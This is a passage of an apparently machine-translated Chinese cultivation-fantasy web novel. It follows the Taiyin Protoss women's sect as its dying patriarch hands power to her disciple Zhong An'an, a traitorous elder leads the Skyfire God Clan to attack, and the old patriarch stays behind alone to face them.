    Zhong An settled down, "We are all women! In this way, we will become the piece of fat that Skyfire Gods want to eat the most, so if we do go this time, we will really get into the mouth. There is no return!"


    Zhong An''an''s remarks were so clear that all the elders were distracted.


    Especially after thinking about it, I feel that what Zhong Anan said is very reasonable.


    Elder Xuanhun sneered, and said in a weird way: "Hehe, what a joke! If it is what you said, then even if we don��t go, the Skyfire God Clan will come and collect it! Because you have said it, we are the closest. If you drive a flying boat, you can arrive in at most one day!"


    Zhong An''an was silent for a moment, then nodded, "Although it is cruel, it is true!"


    "According to you, isn''t our Taiyin Protoss bound to die? After all, to go is to die, and to stay here is to wait for death!" Xuanhun said mockingly.


    Zhong Anan shook his head, "No, there is still a way!"


    "There is another way? What way?" Xuanhun was taken aback.


    Zhong Anan took a deep breath, and said every word: "Refuge in the cursed city!"


    Boom!


    When the words came out, the crowd was in an uproar.


    "Go to the young strong man who doesn''t know the origin?" An elder looked shocked.


    "I think it''s a bit unreliable. After all, no matter how powerful this young man is, even if he really slaughtered the Amaterasu God''s Domain with his own power, he could not be the opponent of so many tycoons in Sifang Huanyu!"


    "Yes! I also think this is a bit unstable!"


    The elders began to discuss.


    Xuanhun laughed even more, and the laughter was full of mockery.


    "I really laughed at me, and I took refuge in the Cursed City! Do you know that if you do this, it is virtually equivalent to placing our Taiyin Protoss on the opposite side of the rich clan! Have you thought about the consequences?"


    Zhong An''an smiled slightly and said lightly: "Then, don''t you think that our current situation is not the opposite of the rich family from all sides?"


    "You..." Xuanhun was speechless.


    It wasn''t until a while later that she reacted, and then sneered again and again: "But no matter what you say, if we really take refuge in the Cursed City, then we are truly dead! Because it is clear that we will die!"


    Zhong Anan shook his head, "No, I think this will be an opportunity for our Taiyin Protoss!"


    "Chance, what opportunity?"


    "A chance to re-emerge to overwhelm many tycoons, and even enter the realm of Amaterasu!" Zhong Anan said solemnly.


    The audience was quiet.


    Many elders were stunned by the vision described by Zhong An''an. It was only after a while that Xuanhun laughed.


    "Zhong An''an, do you know what you are talking about? I really think you are either crazy, or your head is stimulated, and you have the opportunity to rise. How do you rise? Do you really think that Xue An can win against all the wealthy families? ?"


    Zhong Anan nodded vigorously, "Yes, that''s what I think!"


    The sneer on Xuanhun��s face was about to overflow, "Do you think? Why do you think so? Is there a basis?"


    Zhong An''an took a deep breath, "There is no basis, but I have a foreboding that this time the rich family of all parties will definitely suffer a big loss, and the ultimate winner will definitely belong to this Xue An!"


    People are all dumbfounded.


    Premonition!


    Just based on a hunch, you will be so desperate?


    Xuanhun even laughed sarcastically, "Zhong An''an, you really deserve to be the most talented descendant of our Taiyin Protoss for thousands of years, and you can do this only by premonition! But have you ever thought about it, if your premonition is wrong , Then how will we suffer?"


    Zhong Anan raised his head and looked at Xuanhun, and said coldly, "Then you think it fell into the hands of the Heavenly Fire God Clan and other tycoons, was manipulated arbitrarily, and died in humiliation! It''s better to bet on this one after all ?".


    "You..." Xuanhun suddenly changed his expression.


    "I know what you want to say, maybe you think this is too risky, but have you ever thought about it! Doing anything is risky!"

 Chapter 1125： He is the only one

    "And this time, it is the only opportunity for our Taiyin Protoss. If you bet it is right, then we will return to the glory of the past, even better!"


    "If the bet is lost, then we will spare no effort to fight with these people! In this case, at least before we die, we won''t feel regretful, after all... we have struggled and worked hard, and our destiny is not good. Up!"


    Speaking of this, Zhong Anan raised his eyes to look at everyone, and said word by word: "Elders, do you think I''m right?"


    Zhong An''an''s words made the audience quiet, all the elders were silent, obviously they were thinking about Zhong An''an''s words.


    Only Xuanhun looked indifferent, "Bet? Haha, I said for a long time, you were betting! But..."


    Before she finished speaking, at this moment, a slight sigh came from the back mountain.


    "An An is right, now we...really only have to bet on this one!"


    Following the voice, a woman with a slightly haggard but beautiful appearance appeared in the scene.


    All the elders in the penalty hall were shocked, and then stood up one after another and said excitedly: "The patriarch!"


    Zhong Anan couldn''t help but startled, and then knelt down respectfully, "I have seen Master!"


    That''s right!


    The visitor is Mu Guqing, the patriarch of the Taiyin Protoss who has been in retreat for a long time.


    She nodded slightly, "Get up all!"


    Everyone stood up, all of them were excited and happy.


    Only Xuanhun''s complexion became extremely ugly.


    Mu Guqing ignored her, but just nodded to Zhong An''an, "I heard everything you just said, not bad!"


    Zhong Anan looked at Mu Guqing, especially noticing the haggardness on her face, a look of worry flashed in his eyes, and then bowed his head and replied, "Thank you, Master!"


    Only then did Mu Guqing turn his head and look at Xuanhun, his expression getting colder, "Elder Xuan, I remember that when I was in retreat, I said very clearly that all matters should be handled by An An. You must cooperate with her fully, but How did you... do it?"


    Hearing these words, Xuanhun thumped and fell to his knees, tremblingly: "Master Patriarch, I..."


    Mu Guqing waved his hand and said coldly: "Okay! I know you are resentful because I didn''t hand over the power to you. It can also be seen that your hostility has not been removed, and now you go to the back mountain. Let��s retreat for three years! You can leave the penalty hall for now!"


    Xuanhun heard it, and the whole person was in a daze.


    Mu Guqing raised his eyebrows slightly, "Did you hear what I said?"


    "Yes...Yes!" Xuanhun''s face was gray and lowered his head.


    "Go!" Mu Guqing flicked his robe sleeve.


    Xuanhun left dejectedly.


    "You... all retreat too!" Mu Guqing said solemnly.


    Many elders bowed after hearing this, and then withdrew from the penalty hall.


    After they were left in the room, Mu Guqing spit out a mouthful of blood, and his face turned pale in an instant.


    Zhong Anan exclaimed, "Master!"


    body shape instantly appeared in front of Mu Guqing.


    Mu Guqing smiled bitterly and waved his hand, "Don''t touch me! I made a mistake while practicing, and I got lost in love!"


    Zhong Anan''s figure was shocked, and finally understood why her face was so haggard when she saw Master this time, and even her momentum became wilted.


    Mu Guqing gently wiped the blood from the corners of his mouth, and the expression on his face gradually returned to normal, only the haggard color in his eyes became thicker.


    But she didn''t care about these, but asked softly: "An''an, do you really think this newly born young powerhouse can win?"


    Zhong An''an nodded, "Master, this time I went to the Cursed City on behalf of the Taiyin Protoss. I have witnessed the whole process, and I have direct contact with this Xue An!"


    "Oh? What do you think of this person?" Mu Guqing asked softly.


    Zhong An''an was silent for a moment, then raised his head and said very seriously: "I can''t see him!"


    Mu Guqing''s complexion changed.


    As the patriarch of the Taiyin Protoss and the master of Zhong An''an, she knows herself as a disciple too.


    has been keen-minded since childhood, and he is methodical and extremely calm.


    The key is that there is still maturity that is not commensurate with age.


    Very often, she can see through the appearance of things at a glance and discover the inner problems.


    Because of this, Mu Guqing will hand over the power to her during the retreat.


    It can be said that in her eyes, even the best hidden person will be seen through.


    Unexpectedly, she could not see through this Xue An.


    At this time, Zhong An''an showed a wry smile, and then said: "I have seen a lot of strong gods, and the young Tianjiao is countless. For example, the young master of Tianhuo Qi Hongbo and others can be called amazing."


    "But no matter how powerful these people are, how noble their status is, they are flawed in character! For example, Young Master Tianhuo''s arrogance and **** is his biggest problem!"


    "I have always believed in one sentence, whether it is a **** or an ordinary person, as long as there is a defect, it means there is a loophole. Such a person can be dealt with no matter how powerful it is!"


    "But Xue An is different Speaking of this, a flash of fear flashes in Zhong Anan''s eyes.


    "I can''t see the slightest flaw in him, as if he is a perfect person!"


    Hearing these words, Mu Guqing''s complexion changed drastically, because the evaluation was simply too high.


    Zhong Anan''s eyes were a little dazed, as if he was reminiscing about something, and then whispered softly: "The first time I saw him, it was at the Jade Pavilion in the Cursed City! At that time he followed Chu Xiaoyun, who was still very humble at the time! "


    "No one noticed him at the beginning, even I thought this was just an ordinary teenager, there was nothing surprising except for his outstanding appearance!"


    "But behind, he was not humble or overbearing when facing Hongbo and other arrogances, and he dared to do it on the spot! This caught my attention, but at the time I still thought that this was just a young strong man who didn''t know the sky and earth!"


    "But what happened later...subverted my imagination!"


    "On the celebration of the cursed goddess, we will wipe out Qi Hongbo and all the arrogant Tianjiao, eradicate the cursed goddess, and force the gods to pass to Chu Xiaoyun! These things sound like idiotic dreams, but in his hands they are so understatement and worthless. Mention it!"


    "But this is not over. After he finished all these things, he actually said that he would destroy all the Amaterasu gods, and then went proudly! At the time we all thought he was just bragging!"


    "Unexpectedly, after three days, Amaterasu God Realm would be empty, and he was the only one who started it!".


    Hearing this, Mu Guqing finally changed.


    As a wealthy family in the world, she certainly knows the strength of the Amaterasu gods.

 Chapter 1126： Patriarch

    But this young man can be slaughtered with his own power, how terrifying is his strength?


    Zhong An''an took a deep breath, "If that''s all there is to it, the key is that from beginning to end, I haven''t figured out his personality!"


    "You said he was arrogant and murderous, but he was only outrageous because of an unrelated person. You said he was cold and unkind, but sometimes he acted like a child!"


    "I approached him deliberately later, wanting to have a few words with him, to get closer, but I found that he didn��t eat this set at all. All my compliments were like air in front of him, and even under his gaze, I I feel like a clown, he can see through all his thoughts!"


    Speaking of this, Zhong An''an trembled slightly, with a look of horror on his face, obviously remembering the look in Xue An''s eyes at the time.


    Mu Guqing silently.


    Zhong Anan took a deep breath, stabilized his mind, and said in a deep voice: "Master, this time the Heavenly Fire God Clan and other wealthy clan are united together. It seems to be powerful, but because the relationship between them is complicated, they are facing another It is a huge amount of interest, so it is impossible for them to cooperate sincerely. If this is the case, it will make them constrain each other!"


    "Therefore, I have a hunch that Xue An will definitely win this matter! And my Taiyin Protoss can only rise by seizing this opportunity!"


    Mu Guqing did not hesitate at all, and directly nodded in response: "Okay! Then how are we going to respond next?"


    Zhong Anan said: "Master, we have completely torn our faces with the Skyfire God Clan. Qi Xuanfeng has no other skills, but it is still possible to tell the truth, so after he returns, the Skyfire God Clan will definitely send someone over! So I think, the most I''ll rush to the cursed city now!"


    Mu Guqing frowned slightly, "You mean... Give up the Taiyin Pool temporarily?"


    Zhong An''an nodded, "Yes, the only way to save strength!"


    "Will it be too desperate to do this? With the protection of the Taiyin Pool, we may not be able to survive for ten days!" Mu Guqing said that the lower his voice became, because she suddenly understood what Zhong Anan meant.


    Zhong Anan lowered his eyes and said: "Master, although I am a woman, I also know that I must not end my head or end, otherwise I will suffer! This time, if my Taiyin Protoss really wants to seize this opportunity, I must make a desperate move. Only then can Xue An see our sincerity!"


    Mu Gu looked at her favorite disciple quietly, and after a moment she nodded, "That''s good! An''an, it seems that you are mature enough after several years of tempering! In this case, I can rest assured. Up!"


    Zhong Anan was taken aback, "Master, what did you say?"


    As soon as the voice fell, I suddenly heard someone outside exclaimed, "Elder Profound Soul, the gate is not open, what are you doing?"


    Then there were several screams.


    Hearing this sound, Zhong Anan''s expression changed.


    and Mu Guqing looked much more calm, his eyes flashed, and then grabbed a very delicate tapping runestone hidden from under the table.


    Zhong Anan immediately understood, "Master..."


    Mu Guqing''s face was as cold as ice, "An An, you are right, this profound soul is really not a good kind, but unfortunately I didn''t listen to you at first, so I should just abolish her cultivation base and expel her from the mountain!"


    Following the voice, Mu Guqing, master and apprentice, rushed outside.


    At exactly this moment, the bodies of the disciples who were in charge of watching the guarding mountain formation fell from the sky.


    And the mountain guard formation just broke through a big hole, Xuanhun couldn''t help laughing when seeing Mu Guqing and two rush out.


    "My patriarch, I''m really sorry, you want to take refuge in the cursed city, but I don''t want to die! Goodbye!"


    said, she was going to escape through the mountain guard formation.


    At this time, all the elders were also alarmed and came here one after another.


    I want to rely on them to stop it, obviously time is too late.


    At this moment, Mu Guqing put on his robe sleeves, his body flew up, rushed to Xuanhun with a powerful force of thunder, and then screamed.


    "Dare you evil obstacles!"


    said, Mu Guqing took a palm.


    But this mysterious soul did not dodge at all, but slapped it with a grin.


    boom!


    Two palms face each other.


    Profound Soul''s figure was shocked and his complexion turned pale, but the whole person flew directly out of the body protection formation with the help of this palm.


    Then her triumphant voice came in through the formation, "Mu Guqing, I have long seen that you have gone wrong in your cultivation, and you have lost your mind. You can''t help me with this palm, but you are probably seriously injured. Come on! Hahahaha..."


    Before he finished his words, Mu Guqing looked cold and shot again with a palm.


    An extremely cold yin air blasted outside through the mountain protection formation.


    Profound Soul screamed, and then roared in a very bitter tone: "Mu Guqing, you dare to attack me, you wait, wait for the adults of the Skyfire God Clan to get here, none of you can run away!"


    Xuanhun''s voice faded away, and disappeared in no time.


    At this time, all the disciples of the elders of the Taiyin Protoss had all rushed over.


    Just as everyone looked up.


    I saw Mu Guqing standing in the sky spit out a large mouthful of blood, and then fell straight down.


    Everyone was surprised.


    "Master!" Zhong Anan screamed even more With a flash of figure, he appeared in the air and hugged his master in his arms.


    After slowly landing, all the disciples of the elders awoke from the shock, and then surrounded them very anxiously.


    "Patriarch!"


    "Master Patriarch!"


    Shouting one after another.


    Mu Guqing leaned against Zhong An''an''s shoulder, his face was as white as paper, and his aura was utterly weakened.


    But even so, she waved her hands at the crowd around her, and then smiled sadly.


    "No need to come over, I''m fine!"


    Everyone stopped, but their eyes were full of worry.


    Mu Guqing turned his head to look at Zhong An''an, then chuckled lightly: "An''an, help as a teacher to sit down there! I have something to say!"


    Zhong An''an had tears in his eyes, gritted his teeth and nodded.


    After Zhong Anan helped Mu Guqing to sit on the high platform of the square, Mu Guqing looked around all the elders and disciples present, and then said lightly: "Kneel down!"


    gave an order.


    The crowd did not hesitate at all, they all fell to their knees.


    Mu Guqing whispered: "Now I say a few things. First, the profound soul defected and died from the Taiyin Protoss. You will regard it as a life and death enemy and must be eliminated!"


    "Hey!" Everyone bowed their heads.


    "Second..." Mu Guqing looked around the audience, then gently grabbed Zhong An''an''s hand.


    "I have been seriously injured and can''t stand the position of patriarch. Since then, the position of patriarch has been passed to Zhong An''an!".


    Boom!


    ''S words shocked everyone in the audience.

 Chapter 1127： 1 sword across the knee

    Many people trembled and shouted, "Master Patriarch!"


    "Patriarch!"


    Zhong An''an even fell to his knees, choked up and shouted: "Master, I..."


    Mu Guqing waved his hand, "An''an, don''t talk about it anymore! I have decided and cannot be changed! From now on, you will be the patriarch of the Taiyin Protoss!"


    Zhong Anan''s eyes burst into tears, and he bowed deeply, "Yes!"


    Then Mu Guqing looked around the audience and whispered softly, "You can hear it?"


    "Yes!" everyone responded in unison, and many of them were already in tears.


    "Then you visit the new patriarch!" Mu Guqing''s tone became weaker and weaker.


    Everyone turned their directions and kowtow again at Zhong An''an.


    "I have seen the patriarch!"


    With this sound, everyone shouted sincerely.


    Not only because of Zhong Anping''s popularity, but more importantly, because Mu Guqing has been in charge of the Lunar Protoss for hundreds of years, and has been loved by everyone. Now she is obviously dying.


    Naturally, everyone is sad and happy.


    Zhong An''an wiped away the tears from his cheeks and nodded at everyone, "Everyone, please!"


    At this moment, Zhong An''an finally added glory and became the youngest patriarch of the Taiyin Protoss, and even among all the wealthy families in the world.


    At this time, Mu Guqing whispered: "An An, now you are the patriarch, then as you said before, take everyone out of here and go to the cursed city!"


    These words shocked everyone, Zhong Anan was even more taken aback, and then understood something, and shook his head in tears: "Master..."


    Mu Guqing glared, "As the patriarch, how can you cry?"


    When Zhong Anan heard the words, he suppressed the sadness in his heart, but still begged: "Master, let''s go together!"


    Mu Guqing shook his head and chuckles: "Silly boy, can you still not see the current situation as a teacher? In this taiyin pool, I barely died. How do you let me go?"


    Zhong Anan choked hard to say because she knew that what Mu Guqing said was true.


    Now Mu Guqing is just like the candlelight that is about to go out. A wisp of breeze may blow by it, and she will die.


    Mu Guqing lowered his eyes and whispered softly, "An''an, explain it to everyone!"


    Zhong An''an nodded, "Yes!"


    Then he turned his head and recounted what he had said to Mu Guqing.


    After listening, everyone was silent, and then all bowed.


    "Disciple, I would like to follow the patriarch!"


    Seeing everyone who bowed all together, Zhong An''an held back tears.


    But Mu Guqing nodded in relief, "Very good! Now, go ahead!"


    Zhong Anan was still a little hard to control, and said in a trembled voice: "Master..."


    Mu Guqing shook his head, "Fool, I understand what you think, but the Taiyin Protoss has been standing here for thousands of years, and now it has suffered from this disaster. If you really go all the way, wouldn''t it be worthy of the Taiyin pool? Years of blessing?"


    "So... wait and go, I''m here for everyone!"


    Hearing Mu Guqing''s words, Zhong An''an and everyone looked sad, and then fell to the ground again.


    "Master!"


    "Patriarch!"


    Mu Guqing gently waved his hand, "Go! Remember, although we are women, we can''t make all the rich and powerful people look down upon us! Understand?"


    "Yes!" Everyone bowed their heads respectfully, then stood up, and under the leadership of Zhong An''an, they left without looking back.


    It''s not that I don''t want to look back, but I dare not!


    Because they all know that this difference will be eternal!


    And if you look back, you may really not be able to leave!


    And what Mu Guqing said is also very clear. Although she is a woman, she should not be underestimated by all parties.


    So at this moment, for the continuation of the Taiyin Protoss, they can only wipe away their tears and embark on the journey to the cursed city.


    As for hatred and regret, they can only be washed away with the blood of the enemy.


    But in spite of this, when they really walked out of the mountain protection formation, everyone still couldn''t help crying, and then shouted in unison.


    "Master Patriarch!"


    Mu Guqing watched everyone disappear behind the light curtain of protecting the mountain, and a faint smile appeared on his pale paper face.


    But when she heard the sorrow of the crowd, tears burst into her eyes, and then she choked.


    "An An, everyone, I am really happy to meet you in this life!"


    Mu Guqing, there are three lonely and lonely women in this name, and tears are also streaming down his face at this moment!


    But soon, she wiped away the tears from the corners of her eyes, then stood up with difficulty, and walked slowly to the hall in the middle of the island.


    She gently stroked the cyan-gold wall, looking at everything around her almost greedily.


    This place carries her memories of thousands of years, both happy and sad, but the hall that has witnessed all this is silent.


    Mu Guqing walked to the cold spring in the middle of the main hall, and laughed softly: "Old man, you have worked so hard for so many years!"


    The eyes of the spring were silent, but continued to gurgle out with a chill.


    Mu Guqing''s figure was staggering more and more at this moment, but she still helped the wall to walk to the main seat of the hall, and then sat down cross-legged.


    At this time, there was a sword light in the spring''s eye, and after spinning around Mu Guqing a few times, it floated in front of Mu Guqing tremblingly.


    Mu Guqing smiled, and then gently stroked the sword exuding cold light.


    "After so many years, it''s hard for you to remember me!"


    The hilt trembled lightly, as if responding to Mu Guqing''s touch.


    "I know, you have been lonely under the spring water for too long, so you are thirsting for blood, right?"


    Jianmang moved slightly, as if nodding.


    Mu Guqing''s smile gradually became bitter, "Okay! Then you will wait with me here to see if you can kill the enemy!"


    After that, the sword light converged and fell on Mu Guqing''s knees.


    A sword crossed the knee.


    Sitting alone in the mountains.


    Mu Guqing slowly closed his eyes and seemed to be ready to meet everything.


    at the same time.


    After spending more than a dozen void-traveling charms, Qi Xuanfeng returned to the resident of the Skyfire God Race like a dog in the mourning family.


    now.


    This day the city of fire has become lively.


    Basically, all the wealthy families have arrived at Tianhuo Shenxuan in a row to entertain the powerful people who come here.


    Of course, the most striking thing is the position of the ancient sword gods and the five-way gods.


    Seeing that the patriarchs or leaders of these great tribes and Qi Sixiang, the patriarch of the Heavenly Fire God Clan, were talking and laughing happily, they seemed to be in a bad relationship.


    There is a lively scene in the Shenxuan.


    Therefore, when Qi Xuanfeng rushed in panic, it caused an uproar in the Shenxuan.


    "Master Xuanfeng, what''s wrong!"


    "Yes, why is the Second Young Master''s face full of panic?"


    Everyone was wondering, they saw Qi Xuanfeng walk a few steps tightly, thumped and knelt on the ground, and said with a trembling, "My Father!"


    Seeing the appearance of his little son, Qi Sixiang raised his eyebrows and put down his wine glass.


    "what happened?"

 Chapter 1128： Xuanhun defected

    "Father, I took your divine decree to the Taiyin Protoss and ordered it to come, but I didn''t expect that the Taiyin Protoss would not listen to the edict and act brazenly! Not only did I kill all the slave soldiers I brought, even dare Do it with me, and even made me almost never come back!"


    Boom!


    These words caused an uproar in the Heavenly Fire God Xuan, and everyone was shocked when they heard it.


    "What? The Taiyin Protoss dare to defy the edict of the sky fire? Are these ladies crazy?"


    "Doesn''t the Taiyin Protoss always obey the edicts of the Skyfire Protoss? Why did they act like this this time?"


    In ���� Tianhuoshenxuan, there was a lot of discussion among the wealthy from all sides.


    And the elders of the Skyfire God Clan were even more furious when they heard this.


    "I dare to attack the second young master, these stinky ladies seem to be really impatient!"


    "Yes, I must teach them a lesson this time!"


    In the clamor, Qi Sixiang couldn''t help frowning, and said angrily: "This Taiyin God Race actually dare to act like this?"


    "How dare the child make a joke on this kind of thing, and the arrogant Zhong An''an of the Taiyin Protoss even said that he is not optimistic about our alliance with the rich, so their Taiyin Protoss didn''t plan to participate at all! By implication, she didn''t take all the rich. Put it in your eyes!"


    If Qi Xuanfeng''s words just caused a commotion in the audience, then these words seem to have lit the fuse, making many wealthy families angry.


    "What a lunar protoss, dare to ignore me so much! Really **** it!"


    "It''s really a female sect. It''s really long and short-sighted! I waited for the tribes to unite, and the momentum was enough to shake the world. They actually dare to say that we can''t succeed. It''s ridiculous!"


    There were many angry voices in the Sky Fire God Xuan.


    Qi Sixiang''s eyes couldn''t help flashing an anger.


    He issued a 100,000 Heavenly Fire Order, summoning all the wealthy families in the Sifang World to come, just to expand his influence through this matter, so that the strength of the Heavenly Fire God Clan will rise to a higher level, and even achieve the great cause of immortality.


    Now the Taiyin Protoss dares to openly challenge itself. If this matter is not handled properly, it will be a big blow to their morale.


    Therefore, he couldn''t help but raise layers of murderous intent.


    At this time, Qi Xuanfeng took a peek and saw the anger flashing in his father''s eyes. He was overjoyed and knelt forward and climbed a few steps.


    "My father, I feel that the Taiyin Protoss has deviated from the various races. Obviously, it has a rebellious heart. It must be annihilated as soon as possible. Only in this way can I calm the heart of the enemy!"


    "The Second Young Master is right, it is time to eliminate the Taiyin Protoss!"


    "Yes, these girls have lived in peace for too long, and they have obviously lost their awe. They must be used to warn the world!"


    Upon hearing Qi Xuanfeng''s suggestion, the Heavenly Fire God Xuan boiled like a pot.


    The rich and powerful people from all sides "speak up righteously" one after another, and the reasons are more grand-sounding, and the expressions are more polite.


    Seeing such a lively scene below, Qi Sixiang smiled.


    He knew very well in his heart that the reason why so many people came out to deal with the Lunar Protoss was not as good as they said, and it was all because everyone wanted to take this opportunity to get a share.


    In particular, the Taiyin Protoss is still a pure female nun sect, which makes many people covet it.


    But he was not irritable at all, but drank the tea slowly, until the drum noise in the divine hall gradually weakened, and finally became quiet, he put down the cup and said lightly.


    "Everyone is right. The Taiyin Protoss has to pay the price for this kind of anger and grievance! But although the Taiyin Protoss is not as strong as before, don''t forget, this school has always been good at defending and not attacking. of!"


    This sentence reminds everyone that many people''s complexion has changed slightly.


    Because Qi Sixiang is right.


    The strength of the Taiyin Protoss has long been declining, but it has been able to survive, largely due to the perverted defensive ability of their sect.


    You must know that the Taiyin Pond is a natural formation of the Yinquan. It is naturally suitable for protective eyes, coupled with the long-term management of the Taiyin Protoss.


    It can be said that when the formation of the mountain guard is out, the general strong can only say nothing.


    Even if you want to capture, you have to pay a certain price.


    Qi Sixiang looked around the audience and said lightly: "I can understand your feelings, but if you want to get something from this matter, you have to discuss how to do it in advance!"


    Now, the originally lively Tianhuo Shenxuan became deserted.


    Everyone thought that fishing in troubled waters would take advantage, but it was really my turn to bleed, so I stopped talking!


    Qi Sixiang''s expression sank when he saw this, "What? Everyone has no opinion?"


    Everyone looked at each other, and then continued to remain silent.


    "Well, if that''s the case, then I will do it myself..."


    The words are not finished yet.


    A guard rushed in suddenly, "My patriarch, a woman with a weird appearance came outside, claiming to be the elder of the Taiyin Protoss, here is an important thing to see you!"


    The elder of the Taiyin Protoss?


    There was a slight commotion in the audience.


    Qi Sixiang was also taken aback for a moment, and then nodded, "Let her in!"


    soon.


    The guard led a woman into the Tianhuo Shenxuan.


    Until they saw this woman, everyone understood why the guard had said that there was a woman with a weird appearance.


    Because the look of this woman is really funny.


    I saw half of his body covered in frost, braving the slightest chill, while the other side was no different from ordinary people.


    This feeling is like a person being cut in the middle and then picking up a snowman.


    Because of this, this woman limped while walking, revealing a touch of funny in the strangeness.


    In the midst of many people��s mouth-covering and snickering , the woman who walked in didn''t dare to lift her head, she knelt on the ground, and then trembled: "The elder of the original punishment hall of the Taiyin Protoss Mysterious soul, meet the patriarch of Tianhuo and all the adults!"


    Xuanhun, the elder of the penalty hall.


    When the name ���� came out, many people in the Shenxuan exclaimed.


    "No wonder I was a bit familiar with this person just now! It turned out to be a profound soul!"


    "Hi! This Elder Profound Soul was considered a strong one before, why did he end up in such a field?"


    The four elephants of Qi also moved in their hearts, but on the surface they were very calm. They just said lightly: "Oh, it turned out to be Elder Xuanhun, but I don''t know what''s the matter with your sudden visit?"


    Xuanhun knelt and straightened his body, peeked at Qi Sixiang on the high platform and the leader of the tyrants, trembled all over, and then looked at Qi Xuanfeng not far in front.


    "Master Xuanfeng, I have seen everything you encountered in the Taiyin Protoss!"

 Chapter 1129： Extermination

    Qi Xuanfeng''s complexion suddenly became extremely ugly, "Oh? What if you see it? Could it be that you are here to make fun of me?"


    Xuanhun hurriedly shook his head in fright, "How dare you! Actually I came here because I have broken with the Taiyin Protoss!"


    "Break?" Qi Xuanfeng was taken aback.


    "That''s right!" Xuanhun took a deep breath and told the story again.


    Of course, when she narrated, she pushed all the faults to Zhong An''an and Mu Guqing.


    When she finished speaking, everyone in the court was in an uproar.


    "I want to seek refuge in the Cursed City. Is this Zhong Anan crazy?"


    Qi Sixiang listened blankly, until Xuanhun finished speaking, he asked faintly: "If this is the case, what are your plans for coming here?"


    Xuanhun''s eyes showed a horrible resentment.


    "My patriarch, everyone! I ended up like this, thanks to the **** of Mu Guqing! Now she has been seriously injured due to a delusion, so she must not be able to go! And the defensive formation of the Taiyinchi Knowing that I can lead the way and lead this person into the Taiyin Pool and eradicate the Taiyin Protoss!"


    After hearing Xuanhun''s words, the audience was quiet.


    Many people looked at this mysterious soul with disgust and fear.


    After all, what she is doing now is simply too vicious.


    Not to say that he rebelled against his own clan, but also colluded with foreigners.


    This kind of person naturally makes many people think of staying away.


    But Qi Sixiang''s eyes lit up after listening.


    "Oh? Can you take this seriously?"


    Mysterious Soul kowtows like garlic, "Master Patriarch, now I have become like this. I have long been different from the Taiyin Protoss. I only hope that you can keep me in!"


    Qi Sixiang laughed, "Okay! Since you are so sincere and sincere, when things are done, I will not only take you in, but also make you a guest elder!"


    Xuanhun was overjoyed, "Thank you patriarch, thank you patriarch!"


    Qi Xuanfeng also hurriedly said: "My father, this time the collection, the child is willing to go! It is really hard to dispel the hatred in my heart if I don''t kill these women who don''t know the heights of the sky!"


    "Good!" Qi Sixiang nodded and agreed.


    At this moment.


    , Bai Tu, the patriarch of the Ancient Sword Protoss, said lightly: "Since what the Taiyin Protoss is opposed to is the union of our races, then my Ancient Sword Protoss is naturally obliged! Bai Chi!"


    "The disciple is here!" A good-looking, but frivolous man came out.


    "You also go with the second young master!"


    Bai Chi smiled with joy, and replied, "Yes!"


    Seeing him act like this, the leader of the Five-way God Sect, Xiao Xiao, also sent a capable subordinate.


    soon.


    A powerful team was formed, and Qi Xuanfeng couldn''t wait to lead the profound soul away.


    After they left, Qi Sixiang retracted his gaze, raised his glass and smiled faintly, "Come on, everyone!"


    Everyone raised their glasses, but when they drank again this time, many people had completely different moods.


    Especially many small and powerful families, at this moment, their hearts are even more disturbed.


    After all, anyone with a discerning eye can see that Qi Sixiang did this, obviously to punish the Taiyin Protoss, but in fact he was standing up!


    just as the feast in the Tianhuo Shenxuan continued.


    Qi Xuanfeng led everyone on the extremely powerful flying boat, and headed to the Taiyin Protoss at a speed ten times faster than the previous one.


    It took more than half a day to arrive last time, but this time it only took more than an hour before he arrived outside the Taiyin Pool.


    this moment.


    The mountain guarding formation stood proudly, surrounding the Taiyin Pool.


    Xuanhun glanced with a bitter expression on his face, and then said in a deep voice, "Everyone, please follow me!"


    said, she led everyone to a corner in the southeast direction.


    There didn''t seem to be any strangeness here, but after a while, the profound soul pointed at one of the directions.


    "My lord, this is the weakest place in the entire mountain protection formation! With a full blow, it can be easily broken!"


    "I''m coming!" An excited Bai Chi stepped forward, a sword light appeared in his hand, and then cut straight down.


    Click!


    After ���� there was a crisp sound, the mountain guarding formation shook violently, but it didn''t break.


    At this time, Bai Chi''s complexion was a little hard to look at, and he couldn''t help but roar. "Drive me!"


    Then it was another sword.


    At this time, the light curtain of the mountain guard shattered suddenly after shaking for a while.


    "Go!" Qi Xuanfeng shouted, and rushed in immediately.


    Everyone jumped into it.


    can wait to come in, Xuanhun''s complexion changes greatly.


    "broken!"


    "What''s wrong?" Qi Xuanfeng was taken aback.


    "I can''t feel the breath of Zhong An An''s **** and others!" Xuanhun''s expression was extremely ugly.


    "Are you saying that everyone has run away?" Qi Xuan roared in a desperate manner.


    He hated Zhong An''an very much, so after hearing this, his teeth were itchy.


    faced Xuanfeng''s questioning, Xuanhun''s expression was shocked, but soon, her eyes lit up again, "No! One more person didn''t run away!"


    After all, she can''t wait to fly forward.


    Qi Xuanfeng and others followed closely behind.


    With a flick of their fingers, the group of them came to the island.


    Xuanhun went straight to the hall located in the middle of the square, and waited until the door of the hall before landing.


    "Who is inside?" Qi Xuanfeng asked in a deep voice.


    Xuanhun smiled, "Naturally it is Mu Guqing, the patriarch of the Taiyin Protoss. I just said that this guy has run out of oil and the lamp is dead, and it depends on the Taiyin Pool to be considered alive, so she can''t leave!


    said, she took a step and walked in.


    Qi Xuanfeng, Bai Chi and the others looked at each other, and followed the others in.


    At this moment, the huge Taiyin Temple looks very deserted.


    On the high platform in the middle, she was a woman sitting cross-legged.


    It is Mu Guqing Xuanhun laughed triumphantly when he saw her, "Mu Guqing, you really didn''t leave!"


    Mu Guqing slowly opened his eyes.


    After several hours of waiting, her aura has become more and more wilting, and even her eyes have become extremely bleak.


    At the first glance, he looked like an ordinary person, and no longer looked like a strong man before.


    And after seeing the proud Xuanhun, Mu Guqing didn''t seem to be surprised at all, but said lightly: "You are finally here!"


    "Stop talking nonsense, where are your disciples Zhong An''an and others?" Qi Xuanfeng said angrily.


    Mu Guqing shook his head, "You are late, they have been away for about three hours, and now it is estimated that they have entered the territory of the Cursed City!"


    Qi Xuanfeng was furious when he heard the words, "Oh, you bitch, it turns out that you have already made plans! They are gone, you, the master, should pay for them first!"

 Chapter 1130： Although she is a woman, she is not a slave!

    With that said, Qi Xuanfeng urged his divine power and rushed directly.


    If it were normal circumstances to kill him, he wouldn''t dare to do anything with Mu Guqing, who was in charge of the clan.


    But now that even a fool can tell, this Mu Guqing is obviously exhausted.


    Of course he wants to be the first to be so pushy and safe.


    But when he was halfway through his figure, a bright sword light suddenly flew out, slashing towards his head.


